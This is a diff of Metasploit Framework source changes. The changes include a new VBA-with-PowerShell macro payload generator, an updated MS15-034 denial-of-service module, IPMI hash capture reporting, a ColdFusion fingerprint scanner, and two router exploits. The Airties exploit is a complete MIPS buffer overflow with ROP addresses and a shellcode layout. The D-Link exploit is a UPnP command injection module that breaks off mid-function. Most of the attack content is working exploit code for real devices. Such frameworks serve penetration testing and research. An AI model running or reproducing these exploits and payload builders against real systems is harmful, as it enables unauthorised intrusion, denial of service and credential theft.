# @option opts [String] :lport The LPORT of the listener to use
|
||||
# @option opts [String] :ua The User Agent String to use for reverse_http(s)
|
||||
# @option opts [String] :proxy_host The address of the proxy to route transport through
|
||||
# @option opts [String] :proxy_port The port the proxy is listening on
|
||||
# @option opts [String] :proxy_type The type of proxy to use
|
||||
# @option opts [String] :proxy_user The username to authenticate to the proxy with
|
||||
# @option opts [String] :proxy_pass The password to authenticate to the proxy with
|
||||
# @option opts [String] :comm_timeout Connection timeout in seconds
|
||||
# @option opts [String] :session_exp Session Expiration Timeout
|
||||
# @option opts [String] :retry_total Total number of times to retry etsablishing the transport
|
||||
# @option opts [String] :retry_wait The number of seconds to wait between retries
|
||||
# @option opts [String] :cert Path to the SSL Cert to use for HTTPS
|
||||
# @return [Boolean] whether the transport was changed successfully
|
||||
def rpc_meterpreter_transport_change(sid,opts={})
|
||||
session = _valid_session(sid,"meterpreter")
|
||||
real_opts = {}
|
||||
opts.each_pair do |key, value|
|
||||
real_opts[key.to_sym] = value
|
||||
end
|
||||
real_opts[:uuid] = session.payload_uuid
|
||||
result = session.core.transport_change(real_opts)
|
||||
if result == true
|
||||
rpc_stop(sid)
|
||||
end
|
||||
result
|
||||
end
|
||||
|
||||
|
||||
# Returns the separator used by the meterpreter.
|
||||
#
|
||||
|
|
|
@ -1003,6 +1003,33 @@ require 'msf/core/exe/segment_appender'
|
|||
read_replace_script_template("to_mem.vba.template", hash_sub)
|
||||
end
|
||||
|
||||
def self.to_powershell_vba(framework, arch, code)
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
|
||||
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
|
||||
arch,
|
||||
template_path,
|
||||
encode_final_payload: true,
|
||||
remove_comspec: true,
|
||||
method: 'reflection')
|
||||
|
||||
# Intialize rig and value names
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig.init_var(:sub_auto_open)
|
||||
rig.init_var(:var_powershell)
|
||||
|
||||
hash_sub = rig.to_h
|
||||
# VBA has a maximum of 24 line continuations
|
||||
line_length = powershell.length / 24
|
||||
vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'
|
||||
|
||||
hash_sub[:powershell] = vba_psh
|
||||
|
||||
read_replace_script_template("to_powershell.vba.template", hash_sub)
|
||||
end
|
||||
|
||||
def self.to_exe_vbs(exes = '', opts = {})
|
||||
delay = opts[:delay] || 5
|
||||
persist = opts[:persist] || false
|
||||
|
@ -1933,6 +1960,8 @@ require 'msf/core/exe/segment_appender'
|
|||
when 'vba-exe'
|
||||
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
|
||||
Msf::Util::EXE.to_exe_vba(exe)
|
||||
when 'vba-psh'
|
||||
Msf::Util::EXE.to_powershell_vba(framework, arch, code)
|
||||
when 'vbs'
|
||||
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
|
||||
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))
|
||||
|
@ -1982,6 +2011,7 @@ require 'msf/core/exe/segment_appender'
|
|||
"psh-cmd",
|
||||
"vba",
|
||||
"vba-exe",
|
||||
"vba-psh",
|
||||
"vbs",
|
||||
"war"
|
||||
]
|
||||
|
|
|
@ -27,9 +27,12 @@ class CmdStagerEcho < CmdStagerBase
|
|||
#
|
||||
def generate(opts = {})
|
||||
opts[:temp] = opts[:temp] || '/tmp/'
|
||||
opts[:temp].gsub!(/\\/, "/")
|
||||
opts[:temp] = opts[:temp].shellescape
|
||||
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
|
||||
|
||||
unless opts[:temp].empty?
|
||||
opts[:temp].gsub!(/\\/, '/')
|
||||
opts[:temp] = opts[:temp].shellescape
|
||||
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
|
||||
end
|
||||
|
||||
# by default use the 'hex' encoding
|
||||
opts[:enc_format] = opts[:enc_format] || 'hex'
|
||||
|
|
|
@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Description' => %q{
|
||||
This module exploits an authentication bypass vulnerability in different Netgear devices.
|
||||
It allows to extract the password for the remote management interface. This module has been
|
||||
tested on a Netgear WNDR3700v4 - V1.0.1.42, but others devices are reported as vulnerable:
|
||||
tested on a Netgear WNDR3700v4 - V1.0.1.42, but other devices are reported as vulnerable:
|
||||
NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - V1.0.1.52, NetGear WNR2200 - V1.0.1.88,
|
||||
NetGear WNR2500 - V1.0.0.24, NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas),
|
||||
NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz),
|
||||
|
@ -31,6 +31,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'References' =>
|
||||
[
|
||||
[ 'BID', '72640' ],
|
||||
[ 'OSVDB', '118316' ],
|
||||
[ 'URL', 'https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR' ]
|
||||
],
|
||||
'Author' =>
|
||||
|
|
|
@ -19,10 +19,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), a
|
||||
vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code
|
||||
execution. This module will try to cause a denial-of-service.
|
||||
|
||||
Please note that a valid file resource must be supplied for the TARGETURI option.
|
||||
By default, IIS provides 'welcome.png' and 'iis-85.png' as resources.
|
||||
Others may also exist, depending on configuration options.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -46,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'A valid file resource', '/welcome.png'])
|
||||
OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST')
|
||||
|
@ -60,34 +56,38 @@ class Metasploit3 < Msf::Auxiliary
|
|||
if check_host(ip) == Exploit::CheckCode::Vulnerable
|
||||
dos_host(ip)
|
||||
else
|
||||
print_status("#{ip}:#{rport} - Probably not vulnerable, will not dos it.")
|
||||
print_status("#{peer} - Probably not vulnerable, will not dos it.")
|
||||
end
|
||||
end
|
||||
|
||||
# Needed to allow the vulnerable uri to be shared between the #check and #dos
|
||||
def target_uri
|
||||
@target_uri ||= super
|
||||
end
|
||||
|
||||
def get_file_size(ip)
|
||||
@file_size ||= lambda {
|
||||
file_size = -1
|
||||
uri = normalize_uri(target_uri.path)
|
||||
res = send_request_raw({'uri'=>uri})
|
||||
res = send_request_raw('uri' => uri)
|
||||
|
||||
unless res
|
||||
vprint_error("#{ip}:#{rport} - Connection timed out")
|
||||
vprint_error("#{peer} - Connection timed out")
|
||||
return file_size
|
||||
end
|
||||
|
||||
if res.code == 404
|
||||
vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.")
|
||||
vprint_error("#{peer} - You got a 404. URI must be a valid resource.")
|
||||
return file_size
|
||||
end
|
||||
|
||||
file_size = res.body.length
|
||||
vprint_status("#{ip}:#{rport} - File length: #{file_size} bytes")
|
||||
vprint_status("#{peer} - File length: #{file_size} bytes")
|
||||
|
||||
return file_size
|
||||
}.call
|
||||
end
|
||||
|
||||
|
||||
def dos_host(ip)
|
||||
file_size = get_file_size(ip)
|
||||
lower_range = file_size - 2
|
||||
|
@ -97,39 +97,79 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
cli = Rex::Proto::Http::Client.new(ip)
|
||||
cli.connect
|
||||
req = cli.request_raw({
|
||||
req = cli.request_raw(
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Range' => "bytes=#{lower_range}-#{upper_range}"
|
||||
}
|
||||
})
|
||||
)
|
||||
cli.send_request(req)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
# Same exceptions the HttpClient mixin catches
|
||||
end
|
||||
print_status("#{ip}:#{rport} - DOS request sent")
|
||||
print_status("#{peer} - DOS request sent")
|
||||
end
|
||||
|
||||
def potential_static_files_uris
|
||||
uri = normalize_uri(target_uri.path)
|
||||
|
||||
return [uri] unless uri[-1, 1] == '/'
|
||||
|
||||
uris = ["#{uri}welcome.png"]
|
||||
res = send_request_raw('uri' => uri, 'method' => 'GET')
|
||||
|
||||
return uris unless res
|
||||
|
||||
site_uri = URI.parse(full_uri)
|
||||
page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace))
|
||||
|
||||
page.xpath('//link|//script|//style|//img').each do |tag|
|
||||
%w(href src).each do |attribute|
|
||||
attr_value = tag[attribute]
|
||||
|
||||
next unless attr_value && !attr_value.empty?
|
||||
|
||||
uri = site_uri.merge(URI.encode(attr_value.strip))
|
||||
|
||||
next unless uri.host == vhost || uri.host == rhost
|
||||
|
||||
uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file
|
||||
end
|
||||
end
|
||||
|
||||
uris.uniq
|
||||
end
|
||||
|
||||
def check_host(ip)
|
||||
return Exploit::CheckCode::Unknown if get_file_size(ip) == -1
|
||||
potential_static_files_uris.each do |potential_uri|
|
||||
uri = normalize_uri(potential_uri)
|
||||
|
||||
uri = normalize_uri(target_uri.path)
|
||||
res = send_request_raw({
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Range' => "bytes=0-#{upper_range}"
|
||||
}
|
||||
})
|
||||
if res && res.body.include?('Requested Range Not Satisfiable')
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif res && res.body.include?('The request has an invalid header name')
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
res = send_request_raw(
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Range' => "bytes=0-#{upper_range}"
|
||||
}
|
||||
)
|
||||
|
||||
vmessage = "#{peer} - Checking #{uri} [#{res.code}]"
|
||||
|
||||
if res && res.body.include?('Requested Range Not Satisfiable')
|
||||
vprint_status("#{vmessage} - Vulnerable")
|
||||
|
||||
target_uri.path = uri # Needed for the DoS attack
|
||||
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif res && res.body.include?('The request has an invalid header name')
|
||||
vprint_status("#{vmessage} - Safe")
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
vprint_status("#{vmessage} - Unknown")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,6 +10,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2015, 6, 28), 'auxiliary/scanner/http/coldfusion_version')
|
||||
|
||||
def initialize
|
||||
super(
|
||||
|
|
|
@ -0,0 +1,127 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'ColdFusion Version Scanner',
|
||||
'Description' => %q{
|
||||
This module attempts identify various flavors of ColdFusion up to version 10
|
||||
as well as the underlying OS.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'nebulus', # Original
|
||||
'sinn3r' # Fingerprint() patch for Cold Fusion 10
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
|
||||
def fingerprint(response)
|
||||
|
||||
if(response.headers.has_key?('Server') )
|
||||
if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/)
|
||||
os = "Windows (#{response.headers['Server']})"
|
||||
elsif(response.headers['Server'] =~ /Apache\//)
|
||||
os = "Unix (#{response.headers['Server']})"
|
||||
else
|
||||
os = response.headers['Server']
|
||||
end
|
||||
end
|
||||
|
||||
return nil if response.body.length < 100
|
||||
|
||||
title = "Not Found"
|
||||
if(response.body =~ /<title.*\/?>(.+)<\/title\/?>/im)
|
||||
title = $1
|
||||
title.gsub!(/\s/, '')
|
||||
end
|
||||
|
||||
return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/)
|
||||
|
||||
out = nil
|
||||
|
||||
if(response.body =~ />\s*Version:\s*(.*)<\/strong\><br\s\//)
|
||||
v = $1
|
||||
out = (v =~ /^6/) ? "Adobe ColdFusion MX6 #{v}" : "Adobe ColdFusion MX7 #{v}"
|
||||
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright 1995\-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/ )
|
||||
out = "Adobe ColdFusion MX7"
|
||||
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2006 Adobe/)
|
||||
out = "Adobe ColdFusion 8"
|
||||
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ and
|
||||
response.body =~ /1997\-2012 Adobe Systems Incorporated and its licensors/)
|
||||
out = "Adobe ColdFusion 10"
|
||||
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ or
|
||||
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/ or
|
||||
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1997\-2012 Adobe Systems\, Inc\. All rights reserved/)
|
||||
out = "Adobe ColdFusion 9"
|
||||
elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/)
|
||||
out = $1.split(/,/)[0]
|
||||
else
|
||||
out = 'Unknown ColdFusion'
|
||||
end
|
||||
|
||||
if(title.downcase == 'coldfusionadministrator')
|
||||
out << " (administrator access)"
|
||||
end
|
||||
|
||||
out << " (#{os})"
|
||||
return out
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
url = '/CFIDE/administrator/index.cfm'
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => url,
|
||||
'method' => 'GET',
|
||||
})
|
||||
|
||||
return if not res or not res.body or not res.code
|
||||
res.body.gsub!(/[\r|\n]/, ' ')
|
||||
|
||||
if (res.code.to_i == 200)
|
||||
out = fingerprint(res)
|
||||
return if not out
|
||||
if(out =~ /^Unknown/)
|
||||
print_status("#{ip} " << out)
|
||||
return
|
||||
else
|
||||
print_good("#{ip}: " << out)
|
||||
report_note(
|
||||
:host => ip,
|
||||
:port => datastore['RPORT'],
|
||||
:proto => 'tcp',
|
||||
:ntype => 'cfversion',
|
||||
:data => out
|
||||
)
|
||||
end
|
||||
elsif(res.code.to_i == 403 and datastore['VERBOSE'])
|
||||
if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/)
|
||||
print_status("#{ip} denied access to #{url} (SSL Required)")
|
||||
elsif(res.body =~ /has a list of IP addresses that are not allowed/)
|
||||
print_status("#{ip} restricted access by IP")
|
||||
elsif(res.body =~ /SSL client certificate is required/)
|
||||
print_status("#{ip} requires a SSL client certificate")
|
||||
else
|
||||
print_status("#{ip} denied access to #{url} #{res.code} #{res.message}")
|
||||
end
|
||||
end
|
||||
|
||||
rescue OpenSSL::SSL::SSLError
|
||||
rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
|
||||
end
|
|
@ -14,8 +14,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(update_info(info,
|
||||
'Name' => 'InfluxDB Enum Utility',
|
||||
'Description' => %q{
|
||||
This module enumerates databases on InfluxDB using the REST API
|
||||
(using default authentication - root:root).
|
||||
This module enumerates databases on InfluxDB using the REST API using the
|
||||
default authentication of root:root.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -15,8 +15,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(
|
||||
'Name' => 'HTTP HTML Title Tag Content Grabber',
|
||||
'Description' => %q{
|
||||
Generates a GET request to the webservers provided and returns the server header,
|
||||
HTML title attribute and location header (if set). Useful for rapidly identifying
|
||||
Generates a GET request to the provided webservers and returns the server header,
|
||||
HTML title attribute and location header (if set). This is useful for rapidly identifying
|
||||
interesting web applications en mass.
|
||||
},
|
||||
'Author' => 'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>',
|
||||
|
|
|
@ -71,7 +71,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
passwords << ""
|
||||
passwords = passwords.uniq
|
||||
|
||||
|
||||
self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}})
|
||||
add_socket(self.udp_sock)
|
||||
|
||||
|
@ -180,18 +179,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
write_output_files(rhost, username, sha1_salt, sha1_hash)
|
||||
|
||||
# Write the rakp hash to the database
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'udp',
|
||||
:sname => 'ipmi',
|
||||
:user => username,
|
||||
:pass => "#{sha1_salt}:#{sha1_hash}",
|
||||
:source_type => "captured",
|
||||
:active => true,
|
||||
:type => 'rakp_hmac_sha1_hash'
|
||||
)
|
||||
|
||||
hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}"
|
||||
core_id = report_hash(username, hash)
|
||||
# Write the vulnerability to the database
|
||||
unless reported_vuln
|
||||
report_vuln(
|
||||
|
@ -216,17 +205,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good("#{rhost}:#{rport} - IPMI - Hash for user '#{username}' matches password '#{pass}'")
|
||||
|
||||
# Report the clear-text credential to the database
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'udp',
|
||||
:sname => 'ipmi',
|
||||
:user => username,
|
||||
:pass => pass,
|
||||
:source_type => "cracked",
|
||||
:active => true,
|
||||
:type => 'password'
|
||||
)
|
||||
report_cracked_cred(username, pass, core_id)
|
||||
break
|
||||
end
|
||||
end
|
||||
|
@ -265,6 +244,45 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def service_data
|
||||
{
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: 'ipmi',
|
||||
protocol: 'udp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
end
|
||||
|
||||
def report_hash(user, hash)
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: hash,
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: 'rakp',
|
||||
username: user,
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_data)
|
||||
|
||||
cl = create_credential_login(login_data)
|
||||
cl.core_id
|
||||
end
|
||||
|
||||
def report_cracked_cred(user, password, core_id)
|
||||
cred_data = {
|
||||
core_id: core_id,
|
||||
username: user,
|
||||
password: password
|
||||
}
|
||||
|
||||
create_cracked_credential(cred_data)
|
||||
end
|
||||
|
||||
#
|
||||
# Helper methods (these didn't quite fit with existing mixins)
|
||||
#
|
||||
|
@ -292,5 +310,4 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,151 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Airties login-cgi Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a remote buffer overflow vulnerability on several Airties routers.
|
||||
The vulnerability exists in the handling of HTTP queries to the login cgi with long
|
||||
redirect parameters. The vulnerability doesn't require authentication. This module has
|
||||
been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation.
|
||||
Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT,
|
||||
Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Batuhan Burakcin <batuhan[at]bmicrosystems.com>', # discovered the vulnerability
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '36577'],
|
||||
['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory
|
||||
['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'] #PoC
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'AirTies_Air5650v3TT_FW_1.0.2.0',
|
||||
{
|
||||
'Offset' => 359,
|
||||
'LibcBase' => 0x2aad1000,
|
||||
'RestoreReg' => 0x0003FE20, # restore s-registers
|
||||
'System' => 0x0003edff, # address of system-1
|
||||
'CalcSystem' => 0x000111EC, # calculate the correct address of system
|
||||
'CallSystem' => 0x00041C10, # call our system
|
||||
'PrepareSystem' => 0x000215b8 # prepare $a0 for our system call
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Mar 31 2015',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/cgi-bin/login',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /login.html\?ErrorCode=2/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Accessing the vulnerable URL...")
|
||||
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Exploiting...")
|
||||
execute_cmdstager(
|
||||
:flavor => :echo,
|
||||
:linemax => 100
|
||||
)
|
||||
end
|
||||
|
||||
def prepare_shellcode(cmd)
|
||||
shellcode = rand_text_alpha_upper(target['Offset']) # padding
|
||||
shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N") # restore registers with controlled values
|
||||
|
||||
# 0003FE20 lw $ra, 0x48+var_4($sp)
|
||||
# 0003FE24 lw $s7, 0x48+var_8($sp)
|
||||
# 0003FE28 lw $s6, 0x48+var_C($sp)
|
||||
# 0003FE2C lw $s5, 0x48+var_10($sp)
|
||||
# 0003FE30 lw $s4, 0x48+var_14($sp)
|
||||
# 0003FE34 lw $s3, 0x48+var_18($sp)
|
||||
# 0003FE38 lw $s2, 0x48+var_1C($sp)
|
||||
# 0003FE3C lw $s1, 0x48+var_20($sp)
|
||||
# 0003FE40 lw $s0, 0x48+var_24($sp)
|
||||
# 0003FE44 jr $ra
|
||||
# 0003FE48 addiu $sp, 0x48
|
||||
|
||||
shellcode << rand_text_alpha_upper(36) # padding
|
||||
shellcode << [target['LibcBase'] + target['System']].pack('N') # s0 - system address-1
|
||||
shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4
|
||||
shellcode << [target['LibcBase'] + target['CallSystem']].pack('N') # $s5 - call system
|
||||
|
||||
# 00041C10 move $t9, $s0
|
||||
# 00041C14 jalr $t9
|
||||
# 00041C18 nop
|
||||
|
||||
shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7
|
||||
shellcode << [target['LibcBase'] + target['PrepareSystem']].pack('N') # write sp to $a0 -> parameter for call to system
|
||||
|
||||
# 000215B8 addiu $a0, $sp, 0x20
|
||||
# 000215BC lw $ra, 0x1C($sp)
|
||||
# 000215C0 jr $ra
|
||||
# 000215C4 addiu $sp, 0x20
|
||||
|
||||
shellcode << rand_text_alpha_upper(28) # padding
|
||||
shellcode << [target['LibcBase'] + target['CalcSystem']].pack('N') # add 1 to s0 (calculate system address)
|
||||
|
||||
# 000111EC move $t9, $s5
|
||||
# 000111F0 jalr $t9
|
||||
# 000111F4 addiu $s0, 1
|
||||
|
||||
shellcode << cmd
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
shellcode = prepare_shellcode(cmd)
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => '/cgi-bin/login',
|
||||
'encode_params' => false,
|
||||
'vars_post' => {
|
||||
'redirect' => shellcode,
|
||||
'user' => rand_text_alpha(5),
|
||||
'password' => rand_text_alpha(8)
|
||||
}
|
||||
})
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPS
|
||||
'Arch' => ARCH_MIPSBE
|
||||
}
|
||||
],
|
||||
],
|
||||
|
|
|
@ -0,0 +1,117 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link Devices UPnP SOAPAction-Header Command Execution',
|
||||
'Description' => %q{
|
||||
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
|
||||
interface. Since it is a blind OS command injection vulnerability, there is no
|
||||
output for the executed command. This module has been tested on a DIR-645 device.
|
||||
The following devices are also reported as affected: DAP-1522 revB, DAP-1650 revB,
|
||||
DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB DIR-815 revB, DIR-300 revB,
|
||||
DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Samuel Huntley', # first public documentation of this Vulnerability on DIR-645
|
||||
'Craig Heffner', # independent Vulnerability discovery on different other routers
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051'],
|
||||
['URL', 'http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/']
|
||||
],
|
||||
'DisclosureDate' => 'Feb 13 2015',
|
||||
'Privileged' => true,
|
||||
'Platform' => 'linux',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'MIPS Little Endian',
|
||||
{
|
||||
'Arch' => ARCH_MIPSLE
|
||||
}
|
||||
],
|
||||
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
|
||||
{
|
||||
'Arch' => ARCH_MIPSBE
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
uri = '/HNAP1/'
|
||||
soap_action = 'http://purenetworks.com/HNAP1/GetDeviceSettings'
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'SOAPAction' => soap_action,
|
||||
}
|
||||
})
|
||||
|
||||
if res && [200].include?(res.code) && res.body =~ /D-Link/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Trying to access the device ...")
|
||||
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Exploiting...")
|
||||
|
||||
execute_cmdstager(
|
||||
:flavor => :echo,
|
||||
:linemax => 200,
|
||||
:temp => ''
|
||||
)
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
|
||||
